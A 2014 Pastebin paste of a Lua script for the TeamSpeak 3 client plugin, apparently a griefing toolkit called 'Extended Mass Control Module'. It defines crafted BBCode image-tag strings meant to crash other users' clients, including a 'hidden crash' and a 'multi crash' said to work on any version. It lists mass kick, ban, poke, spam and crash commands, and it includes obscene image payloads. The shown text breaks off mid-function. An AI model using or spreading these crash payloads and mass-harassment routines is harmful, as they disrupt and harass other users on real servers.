B1uscr34m

Extended Mass Control Teamspeak TS 3 Plugin Lua Script CRASH

Jun 17th, 2014
2,100
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 90.11 KB | None | 0 0
  1. require("ts3defs")
  2. require("ts3errors")
  3. require("ts3events")
  4. require("ts3autoload")
  5. local SCRIPT = "Extended Mass Control Module"
  6. local SCRIPTSHORT = "EMC"
  7. local SCRIPT1 = "Mass Control Module"
  8. local SCRIPT1SHORT = "MCM"
  9. local SCRIPT2 = "Mass ExoticHackers Tools"
  10. local SCRIPT2SHORT = "MEHT"
  11. local VERSION = "1.1.1"
  12. local AUTHOR = "Willy_Sunny, Exotic Hackers, B1uscr34m"
  13. local EMAIL = "piracy@teamspeakusa.com"
  14. ------------------------------------------------------------------------------------------------------------------------------------------------------------------------
  15. -- Installation Instructions:
  16. ------------------------------------------------------------------------------------------------------------------------------------------------------------------------
  17. -- %ts3dir%: "c:\program files (x68)\teamspeak 3 client" OR "c:\program files\teamspeak 3 client" OR "C:\Users\YOUR USERNAME\AppData\Roaming\TS3Client"
  18. -- a) If you want to use the full plugin:
  19. -- a1) Download the plugin here: http://www.mediafire.com/download/ug7sjs6uary7mp6/emcm.ts3_addon
  20. -- a2) Install the plugin
  21. -- a3) Goto step c)
  22. -- b) If you want to run this script seperatly:
  23. -- b1) Save this script as "masscontrolmodule.lua" in your "%ts3dir%\plugins\lua_plugin" folder.
  24. -- b2) In teamspeak, any window, where chat would be enter: "/lua load masscontrol.lua" -- Response will be: "Lua script loaded"
  25. -- b3) Now go to step c)
  26. -- c) In Teamspeak press [CTRL]+[SHIFT]+[P] or go to 'Settings -> Plugins' and check the 'Lua Plugin' Checkbox.
  27. -- c1) Click on Reload all then mark 'Lua Plugin' and click on Settings.
  28. -- c2) Uncheck 'testmodule' and restart Teamspeak 3 Client or click on 'Reload all'
  29. -- d) Call everything in here named "function TEXTHERE" from the TeamSpeak 3 chat via: /lua run <function>
  30. -- Note that the serverConnectionHandlerID of the current server is always passed.
  31. --
  32. -- Settings
  33. local EMC_DEBUG = true
  34. local emcCol = { 'Green', 'Yellow', 'Red', 'Blue' }
  35. local RANDCOL = ( emcCol[ math.random( #emcCol ) ] )
  36. --local emcPrefix = "[color="Blue"]([/color][color="Green"]EMC[/color][color="Blue"])[/color] "
  37. -- colrandomizer()
  38. -- -----------------------------=LOGGING=-------------------------------------
  39. if EMC_DEBUG == true then
  40. -- local logMSG = ("loading..." --, SCRIPT , VERSION)
  41. ts3.printMessageToCurrentTab("[color=".. RANDCOL .."]_-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-_[/color]")
  42. ts3.printMessageToCurrentTab("[color=darkgreen]".. SCRIPT .."[/color] [color=white][[/color][color=orange]".. VERSION .."[/color][color=white]][/color] loading...")
  43. -- Log(LogMSG)
  44. end
  45. -- ____________________________-=LOGGING=-____________________________________
  46. -- Variables
  47. local FUNCTIONS = "Mass Moving, Mass Kicking, Mass Channel Kicking, Mass Banning, Mass Messaging, Mass Poking, Mass Crashing"
  48. local HLPTXT = "Use [b][color=red]/lua run emc[/color][/b] to see a list of commands!"
  49. -- Crash Texts
  50. CrashMSG = "[img][img]//http://www.teamspeak.com/templates/teamspeak_v3/images/blank.gif[/img][/img] [img][img]//http://i.answers.microsoft.com/static/images/defaultuser75.png?ver=4.6.0.28[/img][/img] [img][img]//http://i.answers.microsoft.com/static/images/defaultuser7a.png?ver=4.6.0.28[/img][/img] [img][img]//http://i.answers.microsoft.com/static/images/defaultuser7b.png?ver=4.6.0.28[/img][/img] [img][img]//http://i.answers.microsoft.com/static/images/defaultuser75.png?ver=4.6.0.24[/img][/img]"
  51. multiCrashMSG = "[img][img]//1/z[/img][/img][img][img]//2/z[/img][/img][img][img]//3/z[/img][/img][img][img]//4/z[/img][/img][img][img]//5/z[/img][/img][img][img]//6/z[/img][/img][img][img]//7/z[/img][/img][img][img]//8/z[/img][/img][img][img]//9/z[/img][/img][img][img]//10/z[/img][/img][img][img]//11/z[/img][/img][img][img]//12/z[/img][/img][img][img]//13/z[/img][/img][img][img]//14/z[/img][/img][img][img]//15/z[/img][/img][img][img]//16/z[/img][/img][img][img]//17/z[/img][/img][img][img]//18/z[/img][/img][img][img]//19/z[/img][/img][img][img]//20/z[/img][/img][img][img]//21/z[/img][/img][img][img]//22/z[/img][/img][img][img]//23/z[/img][/img][img][img]//24/z[/img][/img][img][img]//25/z[/img][/img][img][img]//26/z[/img][/img][img][img]//27/z[/img][/img][img][img]//28/z[/img][/img][img][img]//29/z[/img][/img][img][img]//30/z[/img][/img][img][img]//31/z[/img][/img]"
  52. hiddenCrashMSG = "[img][img] width=\"999999\" height=\"999999\"[/img][/img][img][img]//http://www.teamspeak.com/templates/teamspeak_v3/images/blank.gif[/img][/img] [img][img]//http://i.answers.microsoft.com/static/images/defaultuser75.png?ver=4.6.0.28[/img][/img] [img][img]//http://i.answers.microsoft.com/static/images/defaultuser7a.png?ver=4.6.0.28[/img][/img] [img][img]//http://i.answers.microsoft.com/static/images/defaultuser7b.png?ver=4.6.0.28[/img][/img] [img][img]//http://i.answers.microsoft.com/static/images/defaultuser75.png?ver=4.6.0.24[/img][/img] [img][img]//http://i.answers.microsoft.com/static/images/defaultuser7z.png?ver=4.6.0.28[/img][/img]"
  53. pokeCrashMSG = "[img]//http://i.answers.microsoft.com/static/images/defaultuser7z.png?ver=4.6.0.28[/img]"
  54. -- Other Texts
  55. clearChat = "[img][img] width=\"999999\" height=\"999999\"[/img][/img]"
  56. clearChatLONG = "[img][img]\" width=\"99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999\" height=\"99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999[/img][/img]"
  57. SpamMSG = "SPAMSPAMSPAMSPAMSPAMSPAMSPAMSPAMSPAMSPAMSPAMSPAMSPAMSPAMSPAMSPAMSPAMSPAMSPAMSPAMSPAMSPAMSPAMSPAM"
  58. ShockerMSG = "[url=http://akk.li/pics/anne.jpg][img][img]\" width=\"99999\" height=\"10\" style=\"background-color:red;[/img][/img][/url][url=http://akk.li/pics/anne.jpg][img][img]\" width=\"99999\" height=\"10\" style=\"background-color:orange;[/img][/img][/url][url=http://akk.li/pics/anne.jpg][img][img]\" width=\"99999\" height=\"10\" style=\"background-color:yellow;[/img][/img][/url][url=http://akk.li/pics/anne.jpg][img][img]\" width=\"99999\" height=\"10\" style=\"background-color:green;[/img][/img][/url][url=http://akk.li/pics/anne.jpg][img][img]\" width=\"99999\" height=\"10\" style=\"background-color:blue;[/img][/img][/url][url=http://akk.li/pics/anne.jpg][img][img]\" width=\"99999\" height=\"10\" style=\"background-color:indigo;[/img][/img][/url][url=http://akk.li/pics/anne.jpg][img][img]\" width=\"99999\" height=\"10\" style=\"background-color:violet;[/img][/img][/url]"
  59. TitleMSG = "[url=#][img][img]\" width=\"50\" height=\"50\" title=\"YES\" style=\"background-color:black;[/img][/img][/url]"
  60. RainbowMSG = "[img][img]\" width=\"99999\" height=\"10\" style=\"background-color:red;[/img][/img][img][img]\" width=\"99999\" height=\"10\" style=\"background-color:orange;[/img][/img][img][img]\" width=\"99999\" height=\"10\" style=\"background-color:yellow;[/img][/img][img][img]\" width=\"99999\" height=\"10\" style=\"background-color:green;[/img][/img][img][img]\" width=\"99999\" height=\"10\" style=\"background-color:blue;[/img][/img][img][img]\" width=\"99999\" height=\"10\" style=\"background-color:indigo;[/img][/img][img][img]\" width=\"99999\" height=\"10\" style=\"background-color:violet;[/img][/img]"
  61. GERFlagMSG = "[img][img]\" width=\"99999\" height=\"10\" style=\"background-color:black;[/img][/img][img][img]\" width=\"99999\" height=\"10\" style=\"background-color:red;[/img][/img][img][img]\" width=\"99999\" height=\"10\" style=\"background-color:gold;[/img][/img]"
  62. IRISHFlagMSG = "[img][img]\" width=\"40\" height=\"99999\" style=\"background-color:green;[/img][/img][img][img]\" width=\"40\" height=\"0\" style=\"background-color:white;[/img][/img][img][img]\" width=\"40\" height=\"99999\" style=\"background-color:orange;[/img][/img]"
  63. PenisMSG = "[img][img]data:image/jpeg;base64,/9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAxNDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwhMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjL/wAARCAANAA0DASIAAhEBAxEB/8QAFQABAQAAAAAAAAAAAAAAAAAABwb/xAAkEAACAgEDAwUBAAAAAAAAAAABAgMEBQYRIhIUIQAHEyMxYv/EABQBAQAAAAAAAAAAAAAAAAAAAAD/xAAUEQEAAAAAAAAAAAAAAAAAAAAA/9oADAMBAAIRAxEAPwCv9wcWclkdR3Tenhkwun47lMJHC/xyk2iXVpEZo2+pOUZRuI87quyh6E8zr2HSWe1hiJMDUyL1E7y/ZnYB78M0iBIG4nYRraVQWLjpiKhV6uKZofnovF2BxjtRd3FEPyvHKTIkK/zGrrGNgBsg2AHgB//Z[/img][/img]"
  64. CarrotMSG = "[img][img]data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAOwwAADsMBx2+oZAAAAPdJREFUOMuVU7GuwjAMvLTUKB1Q3tObWfjLTkVCWfhGkGBiQoGhqAZkhqqQlETti2RFcXxn+5yAmTFmeV2Kv/s2w8jS1kjqfKucysYIbpVTMV/vHyWIgf0qFDNHA4lIAICZ1bCNPru2RmYpsGyAfVOAiCSvy6QuWQrsTsDv9Y5dVeBZN1FdvkQkInnYEu708Q1JfFG1NfLWoAfnTRfoXFjZeVFgZe9g5mAqySkYM20qWSz7kOS8KJIE7ynk/AfgGFxya1Bq4Md2/QzLBwAFQKRefjyPI7jtUs+3aeBXBQBwEQXdmknAgOAiXZxZHyYDg6fsP9v//o0XqeGrV7rZKZIAAAAHdElNRQfcBhgLIgQfT5H8AAAAAElFTkSuQmCC[/img][/img]"
  65. channelID = 0
  66. -- -----------------------------=LOGGING=-------------------------------------
  67. if EMC_DEBUG == true then
  68. -- local logMSG = ("loading..." --, SCRIPT , VERSION)
  69.  ts3.printMessageToCurrentTab("[color=darkgreen]".. SCRIPTSHORT .."[/color] variables initialized.")
  70. -- Log(LogMSG)
  71. end
  72. -- ____________________________-=LOGGING=-____________________________________
  73. ------------------------------------------------------------------------------------------------------------------------------------------------------------------------
  74. --======================================================================================================================================================================
  75. -- Core Functions
  76. --======================================================================================================================================================================
  77. ------------------------------------------------------------------------------------------------------------------------------------------------------------------------
  78. clock = os.clock
  79. function sleep(n)  -- seconds
  80.   local t0 = clock()
  81.   while clock() - t0 <= n do end
  82. end
  83. function wsleep(n)
  84.   if n > 0 then os.execute("ping -n " .. tonumber(n+1) .. " localhost > NUL") end
  85. end
  86. function emc()
  87.     local emcCol = { 'Green', 'Yellow', 'Red', 'Blue' }
  88.     local RANDCOL = ( emcCol[ math.random( #emcCol ) ] )
  89.     ts3.printMessageToCurrentTab("[u][color=".. RANDCOL .."]".. SCRIPT1 ..": [b]Commands[/b][/color][/u]")
  90.     ts3.printMessageToCurrentTab("Show the current channel ID that you are in: [color=red]/lua run getChannelID[/color]")
  91.     ts3.printMessageToCurrentTab("Mass Mover Script (within currently subscribed channel): [color=red]/lua run mm[/color]")
  92.     ts3.printMessageToCurrentTab("Mass Poke Script (within currently subscribed channel): [color=red]/lua run mp <message>[/color]")
  93.     ts3.printMessageToCurrentTab("Mass Messaging Script (within currently subscribed channel): [color=red]/lua run mmsg <message>[/color]")
  94.     ts3.printMessageToCurrentTab("Mass Message & Poke Script (within currently subscribed channel): [color=red]/lua run mmp <message>[/color]")
  95.     ts3.printMessageToCurrentTab("Global Mass Mover Script (subscribe all possible channels before moving): [color=red]/lua run gmm[/color]")
  96.     ts3.printMessageToCurrentTab("Global Mass Poke Script (subscribe all possible channels before acting): [color=red]/lua run gmp <message>[/color]")
  97.     ts3.printMessageToCurrentTab("Global Mass Message Script (subscribe all possible channels before acting): [color=red]/lua run gmmsg <message>[/color]")
  98.     ts3.printMessageToCurrentTab("Global Mass Message & Poke Script (subscribe all possible channels before acting): [color=red]/lua run gmmp <message>[/color]")
  99.     -- local emcCol = { 'Green', 'Yellow', 'Red', 'Blue' }
  100.     -- local RANDCOL = ( emcCol[ math.random( #emcCol ) ] )
  101.     ts3.printMessageToCurrentTab("[u][color=".. RANDCOL .."]".. SCRIPT2 ..": [b]Commands[/b][/color][/u]")
  102.     ts3.printMessageToCurrentTab("Mass Kick Script: [color=red]/lua run mk <message>[/color]")
  103.     ts3.printMessageToCurrentTab("Mass Channel Kick Script: [color=red]/lua run mck <message>[/color]")
  104.     ts3.printMessageToCurrentTab("Mass Ban Script: [color=red]/lua run mb <duration> <message>[/color]")
  105.     -- local emcCol = { 'Green', 'Yellow', 'Red', 'Blue' }
  106.     -- local RANDCOL = ( emcCol[ math.random( #emcCol ) ] )
  107.     ts3.printMessageToCurrentTab("[u][color=".. RANDCOL .."]".. SCRIPT ..": [b]Commands[/b][/color][/u]")
  108.     ts3.printMessageToCurrentTab("UID Search Script: [color=red]/lua run uid <uid>[/color]")
  109.     ts3.printMessageToCurrentTab("Name Search Script: [color=red]/lua run name <name>[/color]")
  110.     ts3.printMessageToCurrentTab("Self Kick Script: [color=red]/lua run selfkick[/color]")
  111.     ts3.printMessageToCurrentTab("Spam Script: [color=red]/lua run spam[/color]")
  112.     ts3.printMessageToCurrentTab(SCRIPTSHORT .." Spam Script: [color=red]/lua run emcspam[/color]")
  113.     ts3.printMessageToCurrentTab("PokeSpam Script: [color=red]/lua run emcpokespam <#ofPokes> <#ofSecsBetweenPokes> <clientID> <message>[/color]")
  114.     ts3.printMessageToCurrentTab("Mass Poke Script 2: [color=red]/lua run pokeall[/color]")
  115.     ts3.printMessageToCurrentTab("Channel Crash Script: [color=red]/lua run ccrash[/color]")
  116.     ts3.printMessageToCurrentTab("Global Multi Crash Script (Works with every version) (subscribe all possible channels before crashing): [color=red]/lua run mcrash[/color]")
  117.     ts3.printMessageToCurrentTab("Global Mass Hidden Crash Script (subscribe all possible channels before crashing): [color=red]/lua run mhcrash[/color]")
  118.     ts3.printMessageToCurrentTab("Show Text to crash clients running 3.0.14: [color=red]/lua run ctxt[/color]")
  119.     ts3.printMessageToCurrentTab("Show Text to hidden crash clients running 3.0.14: [color=red]/lua run hctxt[/color]")
  120.     ts3.printMessageToCurrentTab("Show Text to crash clients running [b]any[/b] Version: [color=red]/lua run mctxt[/color]")
  121.     ts3.printMessageToCurrentTab("Show Text to poke crash clients running 3.0.14: [color=red]/lua run pctxt[/color]")
  122. end
  123. function emchelp()
  124.     local emcCol = { 'Green', 'Yellow', 'Red', 'Blue' }
  125.     local RANDCOL = ( emcCol[ math.random( #emcCol ) ] )
  126.     ts3.printMessageToCurrentTab("[u][color=".. RANDCOL .."]".. SCRIPT ..": [b]Help[/b][/color][/u]")
  127.     ts3.printMessageToCurrentTab("Show Text to crash clients running 3.0.14: [color=red]/lua run ctxt[/color]")
  128. end
  129. function emcinfo()
  130.     local emcCol = { 'Green', 'Yellow', 'Red', 'Blue' }
  131.     local RANDCOL = ( emcCol[ math.random( #emcCol ) ] )
  132.     ts3.printMessageToCurrentTab("[u][color=".. RANDCOL .."]".. SCRIPT ..": [b]Info[/b][/color][/u]")
  133.     ts3.printMessageToCurrentTab("Show Text to crash clients running 3.0.14: [color=red]/lua run ctxt[/color]")
  134. end
  135. function Log()
  136.  ts3.printMessageToCurrentTab(logMSG)
  137. -- ts3.logMessage(logMSG, severity, channel, logID)
  138. -- debugPrint(logMSG)
  139. end
  140. function colrandomizer()
  141.     local myTable = { 'Green', 'Yellow', 'Red', 'Blue' }
  142.     local RANDCOL = ( myTable[ math.random( #myTable ) ] )
  143. end
  144. function PrintTable( t, indent, done )
  145.     done = done or {}
  146.     indent = indent or 0
  147.     local output = ""
  148.     for key, value in pairs( t ) do
  149.         if type( value ) == "table" and not done[value] then
  150.             done [value] = true
  151.             output = output .. tostring ( key ) .. ":" .. PrintTable( value, indent + 2, done ) .. "\n"
  152.         else
  153.             output = output .. tostring ( key ) .. "\t=\t" .. type( value ) .. "\n"
  154.         end
  155.     end
  156.     return output
  157. end
  158. function getClientList(serverConnectionHandlerID)
  159.     local clients, error = ts3.getClientList(serverConnectionHandlerID)
  160.     if error == ts3errors.ERROR_not_connected then
  161.         ts3.printMessage(serverConnectionHandlerID, "Not connected")
  162.         return
  163.     elseif error ~= ts3errors.ERROR_ok then
  164.         print("Error getting client list: " .. error)
  165.         return
  166.     end
  167.     return clients
  168. end
  169. function getOwnID(serverConnectionHandlerID)
  170.   local myClientID, error = ts3.getClientID(serverConnectionHandlerID)
  171.     if error ~= ts3errors.ERROR_ok then
  172.         return
  173.     elseif myClientID == 0 then
  174.         return
  175.     end
  176.     return myClientID
  177. end
  178. function getUserChannelID(serverConnectionHandlerID, userID)
  179.   local channelID, error = ts3.getChannelOfClient(serverConnectionHandlerID, userID)
  180.     if error ~= ts3errors.ERROR_ok then
  181.         return 1
  182.     end
  183.     return channelID
  184. end
  185. function getUsernameByID(serverConnectionHandlerID, userID)
  186.   local clientName, clientNameError = ts3.getClientVariableAsString(serverConnectionHandlerID, userID, ts3defs.ClientProperties.CLIENT_NICKNAME)
  187.     if clientNameError ~= ts3errors.ERROR_ok then
  188.         return "Unknown"
  189.     end
  190.     return clientName
  191. end
  192. -- Used to escape "'s by toCSV
  193. function escapeCSV (s)
  194.   if string.find(s, '[,"]') then
  195.     s = '"' .. string.gsub(s, '"', '""') .. '"'
  196.   end
  197.   return s
  198. end
  199. -- Convert from CSV string to table (converts a single line of a CSV file)
  200. function fromCSV (s)
  201.   s = s .. ','        -- ending comma
  202.   local t = {}        -- table to collect fields
  203.   local fieldstart = 1
  204.   repeat
  205.     -- next field is quoted? (start with `"'?)
  206.     if string.find(s, '^"', fieldstart) then
  207.       local a, c
  208.       local i  = fieldstart
  209.       repeat
  210.         -- find closing quote
  211.         a, i, c = string.find(s, '"("?)', i+1)
  212.       until c ~= '"'    -- quote not followed by quote?
  213.       if not i then error('unmatched "') end
  214.       local f = string.sub(s, fieldstart+1, i-1)
  215.       table.insert(t, (string.gsub(f, '""', '"')))
  216.       fieldstart = string.find(s, ',', i) + 1
  217.     else                -- unquoted; find next comma
  218.       local nexti = string.find(s, ',', fieldstart)
  219.       table.insert(t, string.sub(s, fieldstart, nexti-1))
  220.       fieldstart = nexti + 1
  221.     end
  222.   until fieldstart > string.len(s)
  223.   return t
  224. end
  225. -- Convert from table to CSV string
  226. function toCSV (tt)
  227.   local s = ""
  228. -- ChM 23.02.2014: changed pairs to ipairs
  229. -- assumption is that fromCSV and toCSV maintain data as ordered array
  230.   for _,p in ipairs(tt) do  
  231.     s = s .. "," .. escapeCSV(p)
  232.   end
  233.   return string.sub(s, 2)      -- remove first comma
  234. end
  235. local function isempty(s)
  236.   return s == nil or s == ''
  237. end
  238. local function urlencode(str)
  239.    if (str) then
  240.       str = string.gsub (str, "\n", "\r\n")
  241.       str = string.gsub (str, "([^%w ])",
  242.          function (c) return string.format ("%%%02X", string.byte(c)) end)
  243.       str = string.gsub (str, " ", "+")
  244.    end
  245.    return str    
  246. end
  247. ------------------------------------------------------------------------------------------------------------------------------------------------------------------------
  248. --======================================================================================================================================================================
  249. -- Mass Control Module Functions
  250. --======================================================================================================================================================================
  251. ------------------------------------------------------------------------------------------------------------------------------------------------------------------------
  252. --
  253. -- Show the current channel ID that you are in (/lua run getChannelID /lua run getMyChanID)
  254. --
  255. function getChannelID(serverConnectionHandlerID)
  256.     -- Get Self ID
  257.     local myClientID, error = ts3.getClientID(serverConnectionHandlerID)
  258.     if error ~= ts3errors.ERROR_ok then
  259.         print("Error getting own client ID: " .. error)
  260.         return
  261.     end
  262.     if myClientID == 0 then
  263.         ts3.printMessageToCurrentTab("Not connected")
  264.         return
  265.     end
  266.     -- Get which channel we are in
  267.     local myChannelID, error = ts3.getChannelOfClient(serverConnectionHandlerID, myClientID)
  268.     if error ~= ts3errors.ERROR_ok then
  269.         print("Error getting own channel: " .. error)
  270.         return
  271.     end
  272.     ts3.printMessageToCurrentTab("Channel ID = [b][u]" .. myChannelID .. "[/u][/b]")
  273. end
  274. --
  275. -- Mass Mover Script (within currently subscribed channel) (/lua run mm)
  276. --
  277. function mm(serverConnectionHandlerID, ...)
  278.     -- ts3.printMessageToCurrentTab("= [b][u]Mass Control Module Version 1.2 by [url=http://forum.teamspeak.com/showthread.php?t=57386]Willy_Sunny[/url][/u][/b] =")
  279.     -- Get Self ID
  280.     local myClientID, error = ts3.getClientID(serverConnectionHandlerID)
  281.     if error ~= ts3errors.ERROR_ok then
  282.         print("Error getting own client ID: " .. error)
  283.         return
  284.     end
  285.     if myClientID == 0 then
  286.         ts3.printMessageToCurrentTab("Not connected")
  287.         return
  288.     end
  289.     -- Get which channel we are in
  290.     local myChannelID, error = ts3.getChannelOfClient(serverConnectionHandlerID, myClientID)
  291.     if error ~= ts3errors.ERROR_ok then
  292.         print("Error getting own channel: " .. error)
  293.         return
  294.     end
  295.     local clients, error = ts3.getClientList(serverConnectionHandlerID)
  296.     if error == ts3errors.ERROR_not_connected then
  297.         ts3.printMessageToCurrentTab("Not connected")
  298.         return
  299.     elseif error ~= ts3errors.ERROR_ok then
  300.         print("Error getting client list: " .. error)
  301.         return
  302.     end
  303.     local password = ""
  304.     if type(arg[1]) ~= "nil" then
  305.         password = arg[1]
  306.         ts3.printMessageToCurrentTab("[b][i]== Mass moving " .. #clients - 1 .. " visible clients (Using Password: " .. password .. " ) ==[/i][/b]")
  307.     else
  308.         ts3.printMessageToCurrentTab("[b][i]== Mass moving " .. #clients - 1 .. " ==[/i][/b]")
  309.     end
  310.     local counter = 0
  311.     for i=1, #clients do
  312.         if clients[i] ~= myClientID then
  313.             local error = ts3.requestClientMove(serverConnectionHandlerID, clients[i], myChannelID, password)
  314.             if error == ts3errors.ERROR_ok then
  315.                 counter = counter + 1
  316.             else
  317.                 clientName = "Error getting client name"
  318.             end
  319.         end
  320.     end
  321.     ts3.printMessageToCurrentTab("[b][i]== Successfully moved " .. counter .. " / " .. #clients - 1 .. " clients. ==[/i][/b]")
  322. end
  323. --
  324. -- Mass Poke Script (within currently subscribed channel) (/lua run mp <message>)
  325. --
  326. function mp(serverConnectionHandlerID, ...)
  327.     -- ts3.printMessageToCurrentTab("= [b][u]Mass Control Module Version 1.2 by [url=http://forum.teamspeak.com/showthread.php?t=57386]Willy_Sunny[/url][/u][/b] =")
  328.     -- Get Self ID
  329.     local myClientID, error = ts3.getClientID(serverConnectionHandlerID)
  330.     if error ~= ts3errors.ERROR_ok then
  331.         print("Error getting own client ID: " .. error)
  332.         return
  333.     end
  334.     if myClientID == 0 then
  335.         ts3.printMessageToCurrentTab("Not connected")
  336.         return
  337.     end
  338.     -- Get which channel we are in
  339.     local myChannelID, error = ts3.getChannelOfClient(serverConnectionHandlerID, myClientID)
  340.     if error ~= ts3errors.ERROR_ok then
  341.         print("Error getting own channel: " .. error)
  342.         return
  343.     end
  344.     local clients, error = ts3.getClientList(serverConnectionHandlerID)
  345.     if error == ts3errors.ERROR_not_connected then
  346.         ts3.printMessageToCurrentTab("Not connected")
  347.         return
  348.     elseif error ~= ts3errors.ERROR_ok then
  349.         print("Error getting client list: " .. error)
  350.         return
  351.     end
  352.     -- Process Argument message
  353.     local argMsg = ""
  354.     for i,v in ipairs(arg) do
  355.         argMsg = argMsg .. tostring(v) .. " "
  356.     end
  357.     local counter = 0
  358.     ts3.printMessageToCurrentTab("[b][i]== Mass poking " .. #clients - 1 .. " visible clients ==[/i][/b]")
  359.     for i=1, #clients do
  360.         if clients[i] ~= myClientID then
  361.             local error = ts3.requestClientPoke(serverConnectionHandlerID, clients[i], argMsg)
  362.             if error == ts3errors.ERROR_ok then
  363.                 counter = counter + 1
  364.             else
  365.                 print("Error poking client ID: " .. clients[i] .. "\n")
  366.             end
  367.         end
  368.     end
  369.     ts3.printMessageToCurrentTab("[b][i]== Successfully poked " .. counter .. "/" .. #clients - 1 .. " clients ==[/i][/b]")
  370. end
  371. --
  372. -- Mass Messaging Script (within currently subscribed channel) (/lua run mmsg <message>)
  373. --
  374. function mmsg(serverConnectionHandlerID, ...)
  375.     -- ts3.printMessageToCurrentTab("= [b][u]Mass Control Module Version 1.2 by [url=http://forum.teamspeak.com/showthread.php?t=57386]Willy_Sunny[/url][/u][/b] =")
  376.     -- Get Self ID
  377.     local myClientID, error = ts3.getClientID(serverConnectionHandlerID)
  378.     if error ~= ts3errors.ERROR_ok then
  379.         print("Error getting own client ID: " .. error)
  380.         return
  381.     end
  382.     if myClientID == 0 then
  383.         ts3.printMessageToCurrentTab("Not connected")
  384.         return
  385.     end
  386.     -- Get which channel we are in
  387.     local myChannelID, error = ts3.getChannelOfClient(serverConnectionHandlerID, myClientID)
  388.     if error ~= ts3errors.ERROR_ok then
  389.         print("Error getting own channel: " .. error)
  390.         return
  391.     end
  392.     local clients, error = ts3.getClientList(serverConnectionHandlerID)
  393.     if error == ts3errors.ERROR_not_connected then
  394.         ts3.printMessageToCurrentTab("Not connected")
  395.         return
  396.     elseif error ~= ts3errors.ERROR_ok then
  397.         print("Error getting client list: " .. error)
  398.         return
  399.     end
  400.     -- Process Argument message
  401.     local argMsg = ""
  402.     for i,v in ipairs(arg) do
  403.         argMsg = argMsg .. tostring(v) .. " "
  404.     end
  405.     local counter = 0
  406.     ts3.printMessageToCurrentTab("[b][i]== Mass messaging " .. #clients - 1 .. " visible clients ==[/i][/b]")
  407.     for i=1, #clients do
  408.         if clients[i] ~= myClientID then
  409.             local error = ts3.requestSendPrivateTextMsg(serverConnectionHandlerID, argMsg, clients[i])
  410.             if error == ts3errors.ERROR_ok then
  411.                 counter = counter + 1
  412.             else
  413.                 print("Error messaging client ID: " .. clients[i] .. "\n")
  414.             end
  415.         end
  416.     end
  417.     ts3.printMessageToCurrentTab("[b][i]== Successfully messaged " .. counter .. "/" .. #clients - 1 .. " clients ==[/i][/b]")
  418. end
  419. --
  420. -- Mass Message & Poke Script (within currently subscribed channel) (/lua run mmp <message>)
  421. --
  422. function mmp(serverConnectionHandlerID, ...)
  423.     -- ts3.printMessageToCurrentTab("= [b][u]Mass Control Module Version 1.2 by [url=http://forum.teamspeak.com/showthread.php?t=57386]Willy_Sunny[/url][/u][/b] =")
  424.     -- Get Self ID
  425.     local myClientID, error = ts3.getClientID(serverConnectionHandlerID)
  426.     if error ~= ts3errors.ERROR_ok then
  427.         print("Error getting own client ID: " .. error)
  428.         return
  429.     end
  430.     if myClientID == 0 then
  431.         ts3.printMessageToCurrentTab("Not connected")
  432.         return
  433.     end
  434.     -- Get which channel we are in
  435.     local myChannelID, error = ts3.getChannelOfClient(serverConnectionHandlerID, myClientID)
  436.     if error ~= ts3errors.ERROR_ok then
  437.         print("Error getting own channel: " .. error)
  438.         return
  439.     end
  440.     ts3.printMessageToCurrentTab("Channel ID = " .. myChannelID .. ".")
  441.     local clients, error = ts3.getClientList(serverConnectionHandlerID)
  442.     if error == ts3errors.ERROR_not_connected then
  443.         ts3.printMessageToCurrentTab("Not connected")
  444.         return
  445.     elseif error ~= ts3errors.ERROR_ok then
  446.         print("Error getting client list: " .. error)
  447.         return
  448.     end
  449.     -- Process Argument message
  450.     local argMsg = ""
  451.     for i,v in ipairs(arg) do
  452.         argMsg = argMsg .. tostring(v) .. " "
  453.     end
  454.     local msgcounter = 0
  455.     local pokecounter = 0
  456.     ts3.printMessageToCurrentTab("[b][i]== Mass poking & messaging " .. #clients - 1 .. " visible clients ==[/i][/b]")
  457.     for i=1, #clients do
  458.         if clients[i] ~= myClientID then
  459.             local error = ts3.requestClientPoke(serverConnectionHandlerID, clients[i], argMsg)
  460.             if error == ts3errors.ERROR_ok then
  461.                 pokecounter = pokecounter + 1
  462.             else
  463.                 print("Error poking client ID: " .. clients[i] .. "\n")
  464.             end
  465.             local error = ts3.requestSendPrivateTextMsg(serverConnectionHandlerID, argMsg, clients[i])
  466.             if error == ts3errors.ERROR_ok then
  467.                 msgcounter = msgcounter + 1
  468.             else
  469.                 print("Error messaging client ID: " .. clients[i] .. "\n")
  470.             end
  471.         end
  472.     end
  473.     ts3.printMessageToCurrentTab("[b][i]== Successfully poked " .. pokecounter .. "/" .. #clients - 1 .. " clients, and messaged " .. msgcounter .. "/" .. #clients - 1 .. " clients ==[/i][/b]")
  474. end
  475. --
  476. -- Global Mass Mover Script (subscribe all possible channels before moving) (/lua run gmm)
  477. --
  478. function gmm(serverConnectionHandlerID, ...)
  479.     -- ts3.printMessageToCurrentTab("= [b][u]Mass Control Module Version 1.2 by [url=http://forum.teamspeak.com/showthread.php?t=57386]Willy_Sunny[/url][/u][/b] =")
  480.     -- Get Self ID
  481.     local myClientID, error = ts3.getClientID(serverConnectionHandlerID)
  482.     if error ~= ts3errors.ERROR_ok then
  483.         print("Error getting own client ID: " .. error)
  484.         return
  485.     end
  486.     if myClientID == 0 then
  487.         ts3.printMessageToCurrentTab("Not connected")
  488.         return
  489.     end
  490.     -- Get which channel we are in
